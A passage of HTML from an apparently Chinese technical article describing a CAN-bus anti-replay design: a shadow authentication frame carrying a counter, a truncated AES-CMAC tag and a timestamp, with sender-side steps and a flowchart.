normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border-collapse: collapse;"><thead><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">字节索引</span></strong></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">字段名称</span></strong></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">长度</span></strong></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">值/描述</span></strong></td></tr></thead><tbody><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">0</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">计数器</span><span leaf="">(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 11.52px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr</span></code><span leaf="">)</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">1 Byte</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">单调递增的计数值，范围</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 11.52px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">0x00~0xFF（0-255）</span></code><span leaf="">，发送后递增</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">1</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">认证标签高字节</span><span leaf="">(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 11.52px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag_H</span></code><span leaf="">)</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">1 Byte</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">由CMAC算法生成的16位认证标签的高位字节</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">2</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">认证标签低字节</span><span leaf="">(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 11.52px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag_L</span></code><span leaf="">)</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">1 Byte</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">由CMAC算法生成的16位认证标签的低位字节</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;"><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">3-7</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">时间戳/状态</span><span leaf="">(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 11.52px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp</span></code><span leaf="">)</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">N Byte</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 4px 8px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 12.8px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;border: 1px solid rgb(223, 223, 223);"><p><span leaf="">用于同步或增强防回滚能力的时间片或状态字，剩余可填充0xAA</span></p></td></tr></tbody></table><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">算法和密钥管理</span></h2><p style="box-sizing: border-box;margin: 20px 10px 20px 0px;padding: 0px 0px 0px 20px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;list-style: circle;"><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">为了方便管理，统一加密算法为AES128-CMAC（或其他算法）</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">为所有关键帧ID(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x</span></code><span leaf="">)分配一个统一的加密密钥(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">key</span></code><span leaf="">) //实际上应该是为每一个关键帧ID单独分配密钥更安全，但考虑到大多数不想这么麻烦，所以可以改成统一密钥</span></span><span style="box-sizing: border-box;margin: 10px;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="box-sizing: border-box;margin: 0px 10px 0px 0px;padding: 0px;"><span leaf="">•</span></span><span leaf="">通过安全刷写将密钥 (</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">key</span></code><span leaf="">) 写入发送ECU和接收ECU的安全存储中，如果没有条件存储，可以将密钥编码在固件中</span></span></p><h2 style="box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">技术实现</span></h2><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">发送端ECU实现</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">发送端需要在原有发送流程中集成以下步骤：</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">1.当应用层请求发送受保护的关键帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)时，获取当前计数器值(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr</span></code><span leaf="">)以及当前时间片 </span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Time_Stamp</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">2.构造CMAC计算所需的输入数据：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Input = s.ID (2B) || s.DATA (8B) || ctr (1B) || Time_Stamp (1B)</span></code><span leaf=""> //此处时间戳假设为1个字节，如果不够，根据情况扩充</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">3.使用密钥(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">key</span></code><span leaf="">)计算CMAC：</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Full_Tag = CMAC(key, Input)</span></code></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">4.截取</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Full_Tag</span></code><span leaf="">的前16个比特位作为本次发送的认证标签(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">Tag16</span></code><span leaf="">) //2个字节，填充高低位</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">5.先发送业务帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">s</span></code><span leaf="">)</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">6.然后发送影子认证帧(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">x&#39;</span></code><span leaf="">)，数据场按数据结构的定义格式填充：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span leaf="">[<span class="code-snippet__meta">ctr, Tag_H, Tag_L, Time_Stamp, 0xAA, 0xAA, 0xAA, 0xAA</span>]</span></code></pre></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">7.发送成功后，更新计数器(</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">ctr</span></code><span leaf="">)</span></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">逻辑流程图如下</span></h3><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf="">graph TD</span></code><br/><code><span leaf="">    A[开始发送] <span class="code-snippet__comment">--&gt; B[获取ctr和Time_Stamp]</span></span></code><br/><code><span leaf="">    B <span class="code-snippet__comment">--&gt; C[构造CMAC输入数据]</span></span></code><br/><code><span leaf="">    C <span class="code-snippet__comment">--&gt; D[计算并截取Tag16]</span></span></code><br/><code><span leaf="">    D <span class="code-snippet__comment">--&gt; E[发送业务帧s]</span></span></code><br/><code><span leaf="">    E <span class="code-snippet__comment">--&gt; F[发送影子认证帧x&#39;]</span></span></code><br/><code><span leaf="">    F <span class="code-snippet__comment">--&gt; G[更新计数器]</span></span></code><br/><code><span leaf="">    G <span class="code-snippet__comment">--&gt; H[结束]</span></span></code><br/></pre></p><wiz-editor-doc data-source="wiz-editor-doc::eyJibG9ja3MiOlt7ImlkIjoiX044ZkhIcmtKIiwidHlwZSI6ImVtYmVkIiwiZW1iZWRUeXBlIjoiaW1hZ2UiLCJlbWJlZERhdGEiOnsic3JjIjoiUnl4Ny1uSjlVd0doWmJ5UUtUVnJERVBfQlNBdWl2S085Tk9TZGpDZTJFQS5wbmciLCJkNjc5OTU3NzFkNDA2YjRmMzI4MGY5ZTQ4ZjA4NmQ5MV9jb21tZW50cyI6W119LCJhbGlnbiI6ImNlbnRlciJ9XSwiY29tbWVudHMiOnt9LCJtZXRhIjp7ImFwcElkIjoiMzJiNDFlZTAtN2Q5Zi0xMWVjLWJhNmMtMjFkOTY5NTJkNDQ2IiwiZG9jSWQiOiJjOGM3NDcyYi00ZWQxLTQ2NzYtYmQyMy1jNDdjODJiMTM4NGUiLCJ0aXRsZSI6IuWfuuS6juWinuWKoOW4p-eahOaWueW8j-WcqOagh-WHhkNBTuS4iuWunueOsOmYsumHjeaUvueahOaWueahiCIsImZpcnN0QmxvY2tJZCI6Il9OOGZISHJrSiIsImFwaVNlcnZlciI6Imh0dHBzOi8vdmlwa3NodHRwczEud2l6LmNuL2VkaXRvci8zMmI0MWVlMC03ZDlmLTExZWMtYmE2Yy0yMWQ5Njk1MmQ0NDYvYzhjNzQ3MmItNGVkMS00Njc2LWJkMjMtYzQ3YzgyYjEzODRlIiwidG9rZW4iOiJXLjdLRUt3a21Cb0k0MzBEc29SSVgwZW9oRWpTV3AxZXJDdTNJektMVnNId3g3c3RVUnNPUm1jNTJ2d0dnOTJrQSJ9fQ::wiz-editor-doc" data-pm-slice="0 0 []"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100031549" data-ratio="3.9374358974358974" data-w="975" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ced22603&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvY9CIZX9cNok7Ric0mIy8cEIk63FdGMD7zicF0dY8rIvg9owIUrib35kGTqKhCruicPUfkJG5CkVwpcw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></wiz-editor-doc><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: 